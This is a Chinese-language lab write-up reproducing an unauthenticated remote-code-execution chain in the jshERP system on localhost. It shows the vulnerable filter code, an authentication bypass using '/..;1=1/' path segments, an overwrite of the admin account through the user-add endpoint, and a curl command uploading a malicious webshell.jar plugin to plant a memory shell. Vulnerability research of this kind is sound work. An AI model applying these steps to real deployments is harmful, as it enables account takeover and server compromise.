华夏erp未授权rce-复现

环境搭建

https://github.com/jishenghua/jshERP 获取源码
进入boot
然后配置mysql数据库和redis,进入项目进行相关配置,初始化数据库,运行程序即可
处理完后后端再来处理前端
npm install --force-npm run serve
这里版本高了点,先npm install css-loader@3.6.0 --save-dev可以正常运行
如此,即环境搭建成功

学习

目前下载的是最新版本,洞基本修了,主要在com/jsh/erp/filter/LogCostFilter.java

假设可以看到

1
2
3
4
5
if(requestUrl.contains("..") || requestUrl.contains("%2e") || requestUrl.contains("%2E")) {
servletResponse.setStatus(500);
servletResponse.getWriter().write("loginOut");
return;
}

而在最开始,这里只WAF了

1
2
3
4
5
if(requestUrl.contains("%2E")) {
servletResponse.setStatus(500);
servletResponse.getWriter().write("loginOut");
return;
}

即最开始这里的.近似没有WAF了,如何进行未授权呢?

1
2
3
4
5
6
7
8
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}

这里有很多种选择,随便选择一个即可以未授权访问接口

成功进行未授权访问,如下

到了这里,可以看这一篇文章https://rivers.chaitin.cn/blog/cr6te1h0lne84lm7489g

如果我们得到超级管理员的后台,就可以部署jar包,实现内存马注入了,现在的问题就是,如何通过这个未授权访问接口实现越权呢?
旧版本这里通过admin重置密码,现在明显不通,而且旧版本存在一个接口/user/getAllList,新版本废除
而师傅们在版本1.0发现了一个新的接口/user/info可以通过传入id进行用户查询(这里我们的版本2.0这个接口在补丁中,开发者在 getUser 这里加上了校验,先检查是否登录,然后才能查询用户数据)
师傅通过id=120获取admin哈希即可登录后台,部署jar包进行内存马注入,后续就先不说了
回到我们这个版本,这个接口基本利用不上了,而且,这里同时WAF了%2e&%2E,思考第一步,还能如何进行未授权呢?这里有个trick

1
2
3
请 求 /account;1111/findBySelect 时 , Servlet 路 由 会 正 确 匹 配 到
/account/findBySelect ,而 1111 会被当作 /account 这个路径段的参数。这种分号参数在
JAX-RS 、 Spring MVC 等 框 架 里 可 以 用 来 在 URL 里 直 接 传 参 ( 类 似 REST 风 格 ) ,比如: /books;lang=en;format=pdf 。

那么同样我们可以/..;1=1/实现跨目录
即,实现未授权访问

那么这里,还能如何越权呢?
未授权依旧可以访问大多数接口,上述补丁只是修改很小一部分比如用户信息查询
可以看到这里/add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int insertUser(JSONObject obj, HttpServletRequest request)throws Exception {
User user = JSONObject.parseObject(obj.toJSONString(), User.class);
String password = "123456";
//因密码用MD5加密,需要对密码进行转化
try {
password = Tools.md5Encryp(password);
user.setPassword(password);
} catch (NoSuchAlgorithmException e) {
logger.error(">>>>>>>>>>>>>>转化MD5字符串错误 :" + e.getMessage());
}
int result=0;
try{
result=userMapper.insertSelective(user);
logService.insertLog("用户",
new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_ADD).append(user.getLoginName()).toString(), request);
}catch(Exception e){
JshException.writeFail(logger, e);
}
return result;
}

这里没有限制,完全可以覆盖admin,这里覆盖后的默认密码是123456
可看(当然实际admin密码不会是默认的)
这里就可以实现覆盖,直接123456的哈希作为密码即可登录,改一个id就行

1
2
3
2025/12/08-18:10:21 DEBUG [http-nio-9999-exec-10] com.jsh.erp.datasource.mappers.UserMapper.insertSelective - ==>  Preparing: INSERT INTO jsh_user (id, username, login_name, password, tenant_id) VALUES (?, ?, ?, ?, ?) 
2025/12/08-18:10:21 DEBUG [http-nio-9999-exec-10] com.jsh.erp.datasource.mappers.UserMapper.insertSelective - ==> Parameters: 1(Long), admin(String), admin(String), e10adc3949ba59abbe56e057f20f883e(String), 0(Long)
2025/12/08-18:10:21 DEBUG [http-nio-9999-exec-10] com.jsh.erp.datasource.mappers.UserMapper.insertSelective - <== Updates: 1

嗯,然后进入后台,虽然明面上没有上传接口,但是后端还是能看到的

现在开始打内存马

1
2
首先需要通过路径穿越创建一个plugins目录,因为后面部署jar包的时候必须用到,而这个目录并不是默
认创建

创建目录之后可以直接

1
2
利用 https://gitee.com/xiongyi01/springboot-plugin-framework-parent 这个项目写一个恶意的
插件

传入恶意的jar

1
curl -X POST "http:localhost:3000/jshERP-boot/plugin/uploadInstallPluginJar" -H "X-Requested-With: XMLHttpRequest" -H "X-Access-Token: 199f55e037d14a7592eb09c38cd612a6_0" -F "file=webshell.jar;type=application/octetstream"

控制台会报错出现类似install字段,说明成功加载
http://localhost:3000/jshERP-boot/111(rebeyond)
即可RCE,这里主要想搭个项目试试水,原理了解即可

可以看fushuling师傅的文章,这边是复现那部分的